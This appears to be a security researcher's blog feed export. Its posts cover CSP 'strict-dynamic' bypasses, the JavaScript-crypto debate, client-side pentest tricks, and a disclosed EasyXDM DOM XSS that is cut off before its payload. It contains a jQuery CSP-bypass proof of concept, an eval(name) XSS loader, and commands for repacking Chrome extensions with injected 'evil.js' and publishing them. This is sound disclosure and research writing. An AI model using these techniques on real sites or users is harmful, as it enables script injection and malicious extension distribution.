tag:blogger.com,1999:blog-36502598709982522422024-02-19T04:48:47.757+01:00the world. according to kotoon security, malware, cryptography, pentesting, javascript, php and whatnotsAnonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.comBlogger87125tag:blogger.com,1999:blog-3650259870998252242.post-63431981275037699552016-06-28T17:52:00.000+02:002016-06-30T11:37:05.499+02:00Reflections on trusting CSP<div dir="ltr" style="text-align: left;" trbidi="on">
Tldr; new changes in CSP sweep a huge number of the vulns, yet they enable new bypasses. Internet lives on, ignoring CSP.<b id="docs-internal-guid-18c4759f-9766-6346-b52d-d8bf1a71c08d" style="font-weight: normal;"><br /></b><br />
<br />
Let’s talk about <a href="https://w3c.github.io/webappsec-csp/#intro">CSP</a> today:
<br />
<blockquote class="tr_bq">
Content Security Policy (CSP) - a tool which developers can use to lock down their applications in various ways,<b> mitigating the risk of content injection vulnerabilities such as cross-site scripting</b>, and reducing the privilege with which their applications execute.</blockquote>
<div>
<h2>
Assume XSS, mkay?</h2>
CSP is a defense-in-depth web feature that aims to mitigate XSS (for simplicity, let’s ignore other types of vulnerabilities CSP struggles with). Therefore in the discussion we can safely <b>assume there is an XSS flaw</b> in the first place in an application (otherwise, CSP is a no-op).<br />
<br />
With this assumption, effective CSP is one that stops the XSS attacks while allowing execution of legitimate JS code. For any complex website, the legitimate code is either:<br />
<ul style="text-align: left;">
<li>application-specific code, implementing its business logic, or</li>
<li>code of its dependencies (frameworks, libraries, 3rd party widgets)</li>
</ul>
Let’s see how CSP deals with both of them separately.</div>
<h2 style="text-align: left;">
Just let me run my code!</h2>
<div>
When CSP was created, the XSS was mostly caused by reflecting user input in the response (reflected XSS). The first attempt at solving this with CSP was then to move <b>every</b> JS snippet from HTML to a separate resource and disable inline script execution (as those are most likely XSS payloads reflected by the vulnerable application). In addition to providing security benefits, it also encouraged refactoring the applications (e.g. transitioning from spaghetti-code to MVC paradigms or separating the behavior from the view; this was hip at that time).<br />
<br />
Of course, this put a burden on application developers, as inline styles and scripts were prevalent back then - in the end almost noone used CSP. And so ‘unsafe-inline’ source expression was created. With it, it allowed the developers to use CSP <a href="http://www.html5rocks.com/en/tutorials/security/content-security-policy/">without the security it </a><a href="http://www.html5rocks.com/en/tutorials/security/content-security-policy/">provides</a> (as now the attacker could again inject code through reflected XSS).<br />
<br />
Introducing insecurity into a security feature to ease adoption is an interesting approach, but at least it’s <a href="https://w3c.github.io/webappsec-csp/#csp-directives">documented</a>:<br />
<blockquote class="tr_bq">
In either case, developers SHOULD NOT include either <a href="https://w3c.github.io/webappsec-csp/#grammardef-unsafe-inline">'unsafe-inline'</a>, or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.</blockquote>
<b style="font-weight: normal;">That’s why this new expression used the </b><span style="font-family: "courier new" , "courier" , monospace;"><b style="font-weight: normal;">unsafe-</b></span><b style="font-weight: normal;"> prefix. If you’re opting out of security benefits, at least you’re aware of it. Later on this was made secure again when nonces were introduced. From then on, <span style="font-family: "courier new" , "courier" , monospace;">script-src 'unsafe-inline' 'nonce-12345'</span> would only allow inline scripts if the <span style="font-family: "courier new" , "courier" , monospace;">nonce</span> attribute had a given value.</b><br />
<br />
Unless the attacker knew the nonce (or the reflection was in the body of a nonced script), their XSS payload would be stopped. Developers then had a way to use inline scripts in a safe fashion. </div>
<h2 style="text-align: left;">
But what about my dependencies?</h2>
<div>
Most of the application dependencies were hosted on CDNs, and had to continue working after CSP was enabled in the application. CSP allowed developers to specify allowed URLs / paths and origins, from which the scripts could be loaded. Anything not on the whitelist would be stopped. <br />
<br />
By using the whitelist in CSP you effectively declared that you trusted whatever scripts were there on it. You might not have the control over it (e.g. it’s not sourced from your servers), but you <b>trust</b> it - and it had to be listed explicitly.<br />
<br />
Obviously, there were a bunch of bypasses (remember, we assume the XSS flaw is present!) - for one, a lot of CDNs are hosting libraries that <a href="https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22)">execute JS from the page markup</a>, rendering CSP useless as long as certain CDNs are whitelisted. There were also different bypasses related to path & redirections (<a href="https://conference.hitb.org/hitbsecconf2016ams/materials/D1T2%20-%20Michele%20Spagnuolo%20and%20Lukas%20Weichselbaum%20-%20CSP%20Oddities.pdf">CSP Oddities presentation</a> summarizes those bypasses in a great way). <br />
<br />
In short, it was a mess - also for maintenance. For example, this is a script-src from Gmail:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">script-src https://clients4.google.com/insights/consumersurveys/ 'self' 'unsafe-inline' 'unsafe-eval' https://mail.google.com/_/scs/mail-static/ https://hangouts.google.com/ https://talkgadget.google.com/ https://*.talkgadget.google.com/ https://www.googleapis.com/appsmarket/v2/installedApps/ https://www-gm-opensocial.googleusercontent.com/gadgets/js/ https://docs.google.com/static/doclist/client/js/ https://www.google.com/tools/feedback/ https://s.ytimg.com/yts/jsbin/ https://www.youtube.com/iframe_api https://ssl.google-analytics.com/ https://apis.google.com/_/scs/abc-static/ https://apis.google.com/js/ https://clients1.google.com/complete/ https://apis.google.com/_/scs/apps-static/_/js/ https://ssl.gstatic.com/inputtools/js/ https://ssl.gstatic.com/cloudsearch/static/o/js/ https://www.gstatic.com/feedback/js/ https://www.gstatic.com/common_sharing/static/client/js/ https://www.gstatic.com/og/_/js/</span></blockquote>
<br />
Why so many sources? Well, if a certain script from, say <a href="https://talkgadget.google.com/">https://talkgadget.google.com/</a> loads a new script, it needs to be whitelisted too.<br />
<br />
There are various quirks and bypasses with this type of CSP, but at least it’s <b>explicit</b>. If a feature is unsafe, it’s marked as so, together with the trust I put into all other origins - and that trust is not transitive. Obviously, at the same time it’s very hard to adopt and maintain such a CSP for a given application, especially if your dependencies change their code. <br />
<br />
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt;">
The solution for that problem was recently proposed in the form of <span style="font-family: "courier new" , "courier" , monospace;">strict-dynamic</span> source expression. </div>
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt;">
<h2 style="text-align: left;">
<span style="text-decoration-color: initial; text-decoration-style: initial;">Let's be strict!</span></h2>
What’s <span style="font-family: "courier new" , "courier" , monospace;">strict-dynamic</span>? Let’s look at the <a href="https://w3c.github.io/webappsec-csp/#strict-dynamic-usage">CSP spec</a> itself:</div>
<blockquote class="tr_bq">
The "<a href="https://w3c.github.io/webappsec-csp/#grammardef-strict-dynamic">'strict-dynamic'</a>" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonably secure whitelist. </blockquote>
<blockquote class="tr_bq">
If present in a script-src or default-src directive, it has two main effects: </blockquote>
<blockquote class="tr_bq">
1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.<br />
2. hash-source and nonce-source expressions will be honored. Script requests which are triggered by non-parser-inserted script elements are allowed.<br />
<br />
The first change allows you to deploy "<a href="https://w3c.github.io/webappsec-csp/#grammardef-strict-dynamic">'strict-dynamic'</a> in a backwards compatible way, without requiring user-agent sniffing: the policy <span style="font-family: "courier new" , "courier" , monospace;">'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</span> will act like <span style="font-family: "courier new" , "courier" , monospace;">'unsafe-inline' https:</span> in browsers that support CSP1, <span style="font-family: "courier new" , "courier" , monospace;">https: 'nonce-abcdefg'</span> in browsers that support CSP2, and <span style="font-family: "courier new" , "courier" , monospace;">'nonce-abcdefg' 'strict-dynamic'</span> in browsers that support CSP3. </blockquote>
<blockquote class="tr_bq">
The second allows scripts which are given access to the page via nonces or hashes to <b>bring in their dependencies without adding them explicitly to the page’s policy</b>.</blockquote>
While it might not be obvious from the first read, it introduces a <a href="https://technet.microsoft.com/en-us/library/cc754612(v=ws.11).aspx">transitive trust</a> concept into the CSP. Strict-dynamic (in supporting browsers) turns off the whitelists completely. Now whenever an already allowed (e.g. because it carried a nonce) code creates a new script element and injects it into the DOM - its execution would not be stopped, regardless of its properties (e.g. the <span style="font-family: "courier new" , "courier" , monospace;">src</span> attribute value or a lack of a <span style="font-family: "courier new" , "courier" , monospace;">nonce</span>). Additionally, it could in turn create additional scripts. It’s like a tooth fairy handed off nonces to every new script element. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://i.imgflip.com/16ksnz.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://i.imgflip.com/16ksnz.jpg" /></a></div>
<br />
As a consequence, now you’re not only trusting your <i>direct</i> dependencies, but also implicitly assume anything they would load at runtime is fair game for your application too. By using it you’re effectively trading control for ease of maintenance.<br />
<div style="margin-bottom: 6pt; margin-top: 18pt; text-align: left;">
</div>
<h2 style="text-align: left;">
POC||GTFO</h2>
Usefulness of CSP can be determined by its ability to stop the attack assuming there is an XSS flaw in the application. By dropping the whitelists it obviously increases the attack surface, even more so by introducing the transitive trust.</div>
<div>
<br />
On the other hand, it facilitates adopting a CSP policy that uses nonces. Enabling that, it mitigates a large chunk of reflected XSS flaws, as the injection point would have to be present inside a script element to execute (which is, I think, a rare occurrence). Unfortunately, DOM XSS flaws are much more common nowadays.<br />
<br />
For DOM XSS flaws, <span style="font-family: "courier new" , "courier" , monospace;">strict-dynamic </span>CSP would be worse than “legacy” CSP any time a code could be tricked into creating an attacker-controlled script (as old CSP would block it, but the new one would not). Unfortunately, such a flaw is likely present in a large number of applications. For example, here’s an exemplary exploit for applications using JQuery <3.0.0 using <a href="https://github.com/jquery/jquery/issues/2432">this vuln</a>.
<br />
<pre class="brush:html" name="code"><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'
'nonce-booboo' 'strict-dynamic'">
<script nonce='booboo' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head>
<body>
<script nonce=booboo>
// Patched in jQuery 3.0.0
// See https://github.com/jquery/jquery/issues/2432
// https://www.w3.org/TR/CSP3/#strict-dynamic-usage
$(function() {
// URL control in $.get / $.post is a CSP bypass
// for CSP policies using strict-dynamic.
$.get('data:text/javascript,"use strict"%0d%0aalert(document.domain)');
});
</script>
</body>
</html>
</pre>
<br />
Try it out (requires <a href="https://www.chromestatus.com/feature/5633814718054400">Chrome 52</a>): <a href="https://plnkr.co/edit/x9d0ClcWOrl3tUd33oZR?p=preview">https://plnkr.co/edit/x9d0ClcWOrl3tUd33oZR?p=preview</a></div>
<div>
<br />
JQuery has a market share of over <a href="https://w3techs.com/technologies/details/js-jquery/all/all">96%</a>, so it’s not hard to imagine a large number of applications using <span style="font-family: "courier new" , "courier" , monospace;">$.get</span> / <span style="font-family: "courier new" , "courier" , monospace;">$.post</span> with controlled URLs. For those, <span style="font-family: "courier new" , "courier" , monospace;">strict-dynamic</span> policies are trivially bypassable.</div>
<h2 style="text-align: left;">
Summary</h2>
It was already demonstrated we can’t effectively understand and control what’s available in the CDNs we trust in our CSPs (so we can’t even maintain the whitelists we trust). How come losing control and making the trust transitive is a solution here?<br />
<br />
At the very least, these tradeoffs should be expressed by using an <span style="font-family: "courier new" , "courier" , monospace;">unsafe-</span> prefix. In fact, it used to be called <span style="font-family: "courier new" , "courier" , monospace;">unsafe-dynamic</span>, but that was <a href="https://lists.w3.org/Archives/Public/public-webappsec/2016Jun/0007.html">dropped</a> recently. So now we have a <span style="font-family: "courier new" , "courier" , monospace;">strict-*</span> expression that likely enabled bypasses that were not present with oldschool CSP. All that to ease adoption of a security mitigation. Sigh :/</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com1tag:blogger.com,1999:blog-3650259870998252242.post-26651050985086060332014-07-31T02:18:00.000+02:002014-07-31T10:23:39.670+02:00JS crypto goto fail?<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr; </b>A <b>long</b>, passionate discussion about JS crypto. Use slides for an overview.<br />
<br />
Javascript cryptography is on the rise. What used to be a <a href="https://crypto.cat/">rich source of vulnerabilities</a> and regarded as "<a href="http://matasano.com/articles/javascript-cryptography/">not a serious research area</a>", suddenly becomes used by many. Over the last few years, there was a serious effort to develop libraries implementing cryptographic primitives and protocols in JS. So now we have at least:<br />
<ul style="text-align: left;">
<li><a href="https://github.com/bitwiseshiftleft/sjcl">SJCL</a> - some crypto primitives</li>
<li><a href="https://github.com/digitalbazaar/forge">Forge</a> - a TLS implementation</li>
<li><a href="https://github.com/openpgpjs/openpgpjs">OpenPGP.js </a>- OpenPGP implementation</li>
<li><a href="https://code.google.com/p/end-to-end/">End-To-End</a> - OpenPGP + other crypto primitives</li>
</ul>
On top of that, there's a lot of fresh, new user-facing applications (<a href="https://whiteout.io/">Whiteout.IO</a>, <a href="https://keybase.io/">Keybase.io</a>, <a href="http://minilock.io/">miniLock</a> to name just the fancy ones on <span style="font-family: Courier New, Courier, monospace;">.io</span> domains). JS crypto is used in websites, browser extensions, and server side-applications - whether we like it or not. It is time to look again at the challenges and limits of crunching secret numbers in Javascript.<br />
<a name='more'></a><h2 style="text-align: left;">
History</h2>
<div>
Let me give you a quick summary of JS crypto debate:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-mcXxJSQgnQrttmfJwiMoNy-vJIQn6msLjFjTHxaMoUKjetTBKOgu-Wp-7BIDpQwioyowsUy36SgHvOQ-h9-ak9w4ISz3_F-7xJL8CJBipyc3Xji8lQVBcncSW62Uo4S9dUmsQHnCqP8/s1600/bender-doomed.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-mcXxJSQgnQrttmfJwiMoNy-vJIQn6msLjFjTHxaMoUKjetTBKOgu-Wp-7BIDpQwioyowsUy36SgHvOQ-h9-ak9w4ISz3_F-7xJL8CJBipyc3Xji8lQVBcncSW62Uo4S9dUmsQHnCqP8/s1600/bender-doomed.jpg" height="230" width="320" /></a></div>
<br /></div>
<div>
In 2009 Thomas Ptacek of Matasano announced that <a href="http://matasano.com/articles/javascript-cryptography/">JS crypto is considered harmful</a>, Nate Lawson stated <a href="http://rdist.root.org/2010/11/29/final-post-on-javascript-crypto/">a similar thing</a>. In short, they mentioned the following problems:</div>
<div>
<ul style="text-align: left;">
<li>Web is based on a client-server model. The server supplies the Javascript code, so it can backdoor it as well. You need to trust the server any time you visit a website. Plus, you need TLS to protect the code to from tampering by third parties. And, since you already have a secure channel, JS crypto is <b>pointless</b>.</li>
<li>XSSOMFG (and DOM is a mess). Code injections are common. JS crypto is as <b>insecure</b> as JS itself.</li>
<li>There's no <a href="http://crypto.stackexchange.com/questions/12436/what-is-the-difference-between-csprng-and-prng">CSPRNG</a>, no bytes, no <a href="http://man7.org/linux/man-pages/man2/mlock.2.html">mlock()</a>, no BigNums and no good libraries to use. JS crypto is <b>hard, </b>because the language does not help you.</li>
</ul>
</div>
<div>
For years, these two articles dominated the views on the subject. Meanwhile, the world evolved - we've seen browser extensions written in JS, <a href="http://nodejs.org/">nodejs</a> came along, <a href="http://www.w3.org/TR/WebCryptoAPI/">WebCrypto</a> was born and <a href="https://developer.mozilla.org/en-US/docs/Web/Security/CSP">CSP</a> arrived. Some of the arguments got simply outdated. <b>Someone was wrong on the internet.</b></div>
<div>
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://xkcd.com/386/"><img border="0" src="http://imgs.xkcd.com/comics/duty_calls.png" height="320" width="290" /></a></div>
<div>
<br /></div>
<div>
Last year the discussion started again. <a href="http://tonyarcieri.com/whats-wrong-with-webcrypto">Tony Arcieri</a> noted that in-browser crypto is dangerous mostly because the code can be backdoored by the server/attacker at anytime. Web is an <a href="https://groups.google.com/d/msg/theupdateframework/6uQod6sYS-c/fDxhhJoUo_UJ">ephemeral</a> environment. He noted that browser extensions can solve this problem, as these behave more like a installable, auditable desktop applications. <a href="https://bren2010.github.io/2014/06/17/javascript-crypto.html">Brendan McMillion</a> made a great post, noticing that Thomas simplified his arguments and did not specify the threat model (in short - security is not a bit value. You're not secure <i>period</i>, you're secure <i>against</i> an attacker with certain capabilities). </div>
<div>
<a href="http://vnhacker.blogspot.ch/2014/06/why-javascript-crypto-is-useful.html">Thai Duong</a> admitted that JS crypto is hard, but doable. He provided some tips on how to overcome JS quirks, and noted examples when JS crypto is better than server-side approaches. He also dropped a super-cool vuln, but that went unnoticed.<br />
<br /></div>
<div>
Here's where I jump in.</div>
<h2 style="text-align: left;">
Looking at the code</h2>
<div>
I have the unique opportunity to both participate in the (sometimes theoretical) <b>discussions</b> and deal with <b>code</b> of crypto applications written in JS. I took part in audits of several of them, and now I even develop one too. So I asked myself a few questions:<br />
<ul style="text-align: left;">
<li>What are the real challenges of JS crypto applications? </li>
<li>What vulnerabilities are actually discovered, what are their root causes? </li>
<li>Should we really worry about the issues raised a few years ago?</li>
<li>What level of security can be achieved? Who can we be secure against?</li>
<li>Can the JS crypto be somehow compared to "native" crypto?</li>
</ul>
<div>
The answers to all these are in these slides, but let me expand a bit about some key points.</div>
<div>
<br /></div>
<div>
<iframe allowfullscreen="" frameborder="0" height="356" marginheight="0" marginwidth="0" scrolling="no" src="https://www.slideshare.net/slideshow/embed_code/37474054" style="border: 1px solid rgb(204, 204, 204); margin-bottom: 5px; max-width: 100%;" width="427"></iframe></div>
</div>
<h2 style="text-align: left;">
It's all the same</h2>
<div>
Vulnerabilities in cryptographic code written in Javascript occur because of two reasons:</div>
<div>
<ol style="text-align: left;">
<li>Javascript as a language is weird sometimes</li>
<li>Web platform is really inconvenient for cryptographic operations</li>
</ol>
</div>
<div>
To give you an example of language quirks, you can still trigger weird behaviour in a lot of JS libraries by using Unicode characters, because JS developers use <span style="font-family: Courier New, Courier, monospace;">String.fromCharCode()</span> assuming it returns 0-255. Weak typing often causes vulnerable code too. </div>
<div>
<br /></div>
<div>
XSS is an example of a web platform issue that breaks cryptographic code completely. Lack of good CSPRNG (and relying on <span style="font-family: Courier New, Courier, monospace;">Math.random()</span> ) is a web platform issue as well.<br />
<br /></div>
<div>
</div>
<div>
Surprisingly, similar problems are present in native crypto applications, and these also result in spectacular vulnerabilities. For example, sometimes the language gives you poor support for reporting error conditions and you end up having a <a href="http://blog.existentialize.com/the-story-of-the-gnutls-bug.html">certificate validation bypass</a>. Or out-of-bound read is possible and Heartbleed happens. You might also kill your entropy like <a href="http://research.swtch.com/openssl">Debian did</a> years ago. Skilful attacker might upgrade a buffer overflow in your <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3466">beloved crypto library</a> into RCE vulnerability, which is an equivalent of XSS in web security. </div>
<div>
<br /></div>
<div>
On both sides of the fence we face all the same issues, we're just not used to look at them this way.</div>
<h2 style="text-align: left;">
Use extensions only</h2>
<div>
In-website cryptography is doomed. Let me repeat - don't implement cryptography on any document which location starts with <b>http. </b>It's a trust problem, well understood and it's a dead end.</div>
<div>
<br /></div>
<div>
The only sane model for JS crypto is a server-side application or a browser extension. As a bonus, for these environments XSS is much easier to tackle as you can control your inputs more easily and sometimes the platform helps you as well (e.g. obligatory CSP for Chrome Extensions). In practice, XSS in your crypto application can be a marginal, manageable problem, and not a fundamental issue.</div>
<div>
<h2 style="text-align: left;">
It's all fun and games...</h2>
</div>
<div>
Once we established a ground rule of only supplying code in an installable browser extension, it's time to dig deeper. Are browser extensions <b>secure</b>? </div>
<div>
<br /></div>
<div>
We can only be secure in a given threat model, so let's look at our potential adversaries<b>. </b>We solved XSS (which any kid could exploit) and we solved server trust issues. Unlike websites, extensions need to be installed, so you only need to trust the server once, not every time you run the code. By doing this we're secure against man-in-the-middle attackers backdooring the code (or the service owner being pressured to "enhance" the code later on). At a glance, it looks like we achieved the level of security of native crypto applications. Yay!</div>
<h2 style="text-align: left;">
Until someone gets hurt.</h2>
<div>
<h3 style="text-align: left;">
Autoupdates</h3>
Not so fast. For once, browser extensions <b>autoupdate</b>. Silently. So the only way to trust the extension is to review it and install it manually (i.e. outside extension marketplace).<br />
<br />
But - is this a problem unique to web? Most desktop systems autoupdate software packages nowadays, and the updates are being pushed aggressively (and for a good reason!). That includes your precious OpenSSL too. </div>
<div>
<h3 style="text-align: left;">
Timing</h3>
</div>
<div>
<b>Timing</b> is another open problem. It's most likely impossible to guarantee constant-time execution in a modern JS compiler. Even when your code is a perfect port of a constant-time C routine, you'll have timing sidechannels in places you wouldn't ever expect, because your JS engine decided at some point it would be a good idea to optimize the loop. The timing difference will be <i>probably non-exploitable</i>, but I've heard that statement falsified so many times, I'd rather not rely on it.</div>
<div>
<br /></div>
<div>
Again, this is something native crypto applications struggle with as well. Timing issues were discovered in GnuTLS, Java SSE, and OpenSSL to name the few. When fixing timing leaks, you sometimes even need to worry about CPU <a href="https://www.imperialviolet.org/2013/02/04/luckythirteen.html">microcode</a>. </div>
<div>
<h3 style="text-align: left;">
Memory safety</h3>
</div>
<div>
<b>Memory safety</b> issues can bite you as well. Whaaat? We don't have buffer overflows in JS, right? Well, your Javascript code cannot introduce a buffer overflow, but the underlying JS engine implementation, and the browser with its HTML parser do have vulnerabilities too. Browsers get <a href="https://www.mozilla.org/security/announce/2014/mfsa2014-31.html">pwnd</a>, you know, and your precious crypto extension can be pwned with them. All you need is to do is visit a website that triggers the exploit code. Luckily, here we assume a much more skilful (or rich) attacker, so you might just get away with claiming it's <i>outside your threat model</i>. </div>
<div>
<h2 style="text-align: left;">
Host security</h2>
</div>
<div>
Arguing that implementing crypto in a browser extension is insecure because a browser might get pwned, is similar to pointing out the insecurity of OpenSSL because kernel exploits exist. <b>Host security</b> is still essential. Any binary you run can just read your precious <span style="font-family: Courier New, Courier, monospace;">~./ssh/id_rsa</span> and it's working-as-intended. What changed with JS is that now the attack surface is much greater, because:</div>
<div>
<ul style="text-align: left;">
<li>The browser is now your OS, and origins are just different users in this OS.</li>
<li>Everyone in the world can execute a program on your OS. To put it boldly, web platform is just a gigantic drive-by-download marketplace. Visiting a page is equivalent to<br /><span style="font-family: 'Courier New', Courier, monospace;">wget http://kittenz; tar; ./configure; make; ./dist/kittenz</span></li>
</ul>
<div>
Assuming the adversaries are powerful enough, some of those kittenz might bite your code badly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIfbU6l8XYZVbMTCd0OJsXDLf2SclmAyOXoRgkBdi_0fdhjPVy1PiWDejLouMBebJuFpI9Cr4A0W9MBA4u_vFgjUuGo0KSBjek83X-LD5YaAvHZ07zA-H2cjHw7efcjcfFIGaZb-3neDo/s1600/18xty90v9iihsjpg.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIfbU6l8XYZVbMTCd0OJsXDLf2SclmAyOXoRgkBdi_0fdhjPVy1PiWDejLouMBebJuFpI9Cr4A0W9MBA4u_vFgjUuGo0KSBjek83X-LD5YaAvHZ07zA-H2cjHw7efcjcfFIGaZb-3neDo/s1600/18xty90v9iihsjpg.jpg" height="200" width="320" /></a></div>
<br />
But then again, are browser exploits that much easier to buy/develop than any other popular software and/or kernel exploits? Because these would have no problems with circumventing native crypto applications. After all, GnuPG was thwarted by a simple <a href="https://www.gnupg.org/faq/gnupg-faq.html#successful_attacks">keylogger</a>.<br />
<br />
JS crypto is not doomed. We made some real progress in the last few years, and will continue to do so. It's just that when facing some classes of attackers you're defenceless and we all need to understand that. </div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com25tag:blogger.com,1999:blog-3650259870998252242.post-12195870955954157832014-03-22T17:10:00.000+01:002014-03-22T17:26:36.462+01:00When you don't have 0days. Client-side exploitation for the masses<div dir="ltr" style="text-align: left;" trbidi="on">
Yesterday me and <a href="http://antisnatchor.com/">@antisnatchor</a> gave a talk at <a href="http://insomnihack.ch/">Insomni'hack</a> entitled "When you don't have 0days. Client-side exploitation for the masses". We described different tricks that one can use during a pentesting assignment to achieve goals without burning any of those precious 0days.<br />
<br />
The tricks included the new <a href="https://github.com/beefproject/beef/tree/master/tools/chrome_extensions_exploitation">Chrome extension exploitation tools</a> ported recently to <a href="http://beefproject.com/">BeEF</a> (by yours truly and @antisnatchor), HTA (HTML applications), Office macros, abusing UI expectations in IE, and some tricks with Java applets running on older Java. <a href="https://github.com/koto/mosquito">Mosquito</a> was also demonstrated. Without further ado, here are the slides:<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="356" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/32611507" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="427"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/micheleorru2/when-you-dont-have-0days-clientside-exploitation-for-the-masses" target="_blank" title="When you don't have 0days: client-side exploitation for the masses">When you don't have 0days: client-side exploitation for the masses</a> </strong> from <strong><a href="http://www.slideshare.net/micheleorru2" target="_blank">Michele Orru</a></strong> <br />
<br />
All the video links for the demos are on the slides, the code is public and landed in BeEF in <span style="font-family: Courier New, Courier, monospace;">tools/ </span>subdirectory. The gist of the Chrome extensions part: you can now clone an arbitrary Chrome extension, add any code to it, and publish it back as your extension by doing:<br />
<br />
<pre name="code">$ cd beef/tools/chrome_extension_exploitation/
$ injector/repacker-webstore.sh <original-ext-id> zip repacked.zip evil.js “evil-permissions”
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish
</pre>
<br />
Enjoy!</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com3tag:blogger.com,1999:blog-3650259870998252242.post-79160323337636969262014-01-13T23:48:00.001+01:002014-01-31T21:58:43.908+01:00XSSing with Shakespeare: Name-calling easyXDM<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
<b>tl;dr</b>: window.name, DOM XSS & abusing Objects used as containers</div>
<h2>
What's in a name?</h2>
<div>
<div>
"What's in a name? That which we call a rose</div>
<div>
By any other name would smell as sweet"<br />
<i><span style="font-size: x-small;">(Romeo & Juliet, Act II, Scene 2)</span></i></div>
</div>
<div>
<br /></div>
While Juliet probably was a pretty smart girl, this time she got it wrong. There <b>is</b> something special in a name. At least in <span style="font-family: Courier New, Courier, monospace;">window.name</span>. For example, it can ignore Same Origin Policy restrictions. Documents from https://example.com and https://foo.bar are isolated from each other, but they can "speak" through <span style="font-family: Courier New, Courier, monospace;">window.name</span>.<br />
<br />
Since <span style="font-family: Courier New, Courier, monospace;">name</span> is special for Same Origin Policy, it must have some evil usage, right? Right - the cutest one is that <span style="font-family: Courier New, Courier, monospace;">eval(name)</span>is the shortest XSS payload loader so far:<br />
<ul style="text-align: left;">
<li>create a window/frame</li>
<li>put the payload in it's <span style="font-family: Courier New, Courier, monospace;">name</span></li>
<li>just load <span style="font-family: Courier New, Courier, monospace;">http://vuln/?xss="><script>eval(name)</script></span>.</li>
</ul>
But that's <a href="http://sla.ckers.org/forum/read.php?2,32990">old news</a> (I think it was <a href="http://www.businessinfo.co.uk/">Gareth</a>'s trick, correct me if I'm wrong). This time I'll focus on exploiting software that uses <span style="font-family: Courier New, Courier, monospace;">window.name</span> for legitimate purposes. A fun practical challenge (found by accident, srsly)!<br />
<a name='more'></a><h2>
Best men are moulded out of faults</h2>
"They say, best men are moulded out of faults;<br />
And, for the most, become much more the better<br />
For being a little bad;"<br />
<i><span style="font-size: x-small;">(Measure for Measure, Act V, Scene 1)</span></i><br />
<br />
I have looked at <a href="http://easyxdm.net/wp/">EasyXDM</a> in the past (<a href="http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html">part 1</a>, <a href="http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html">part 2</a>), so I won't bore your with introducing the project. This time I've found a <a href="https://www.owasp.org/index.php/DOM_Based_XSS">DOM XSS</a> vulnerability that allows the attacker to execute arbitrary code in context of any website using EasyXDM <= 2.4.18. It's fixed in <b>2.4.19</b> and has a <b>CVE-2014-1403</b> identifier. Unlike many other DOM XSSes (with oh-so-challenging <span style="font-family: Courier New, Courier, monospace;">location.href=location.hash.slice(1)</span> ), exploiting this was both fun & tricky, hence this blog post.<br />
<br />
Every EasyXDM installation has a <span style="font-family: Courier New, Courier, monospace;">name.html</span> document which assists in setting up the cross-document channels. This is the main part of the code that executes when you load the document:<br />
<br />
<pre class="brush:js;highlight:[3,8,9,18,19,20,21,22,23,24]" name="code">if (location.hash) { // DOM XSS source
if (location.hash.substring(1, 2) === "_") {
var channel, url, hash = location.href.substring(location.href.indexOf("#") + 3), indexOf = hash.indexOf(",");
if (indexOf == -1) {
channel = hash;
}
else {
channel = hash.substring(0, indexOf);
url = decodeURIComponent(hash.substring(indexOf + 1));
}
switch (location.hash.substring(2, 3)) {
case "2":
// NameTransport local
window.parent.parent.easyXDM.Fn.get(channel)(window.name);
location.href = url + "#_4" + channel + ",";
break;
case "3":
// NameTransport remote
var guest = window.parent.frames["easyXDM_" + channel + "_provider"];
if (!guest) {
throw new Error("unable to reference window");
}
guest.easyXDM.Fn.get(channel)(window.name); // execute function, ignore results
location.href = url + "#_4" + channel + ","; // DOM XSS sink
break;
case "4":
// NameTransport idle
var fn = window.parent.easyXDM.Fn.get(channel + "_load");
if (fn) {
fn();
}
break;
}
}
}
</pre>
<br />
So we have a DOM XSS flaw - content in location hash can reach<span style="font-family: Courier New, Courier, monospace;"> location.href </span>assignment. After quick debugging (exercise left to the reader) we can see that the payload would look somewhat like this:<br />
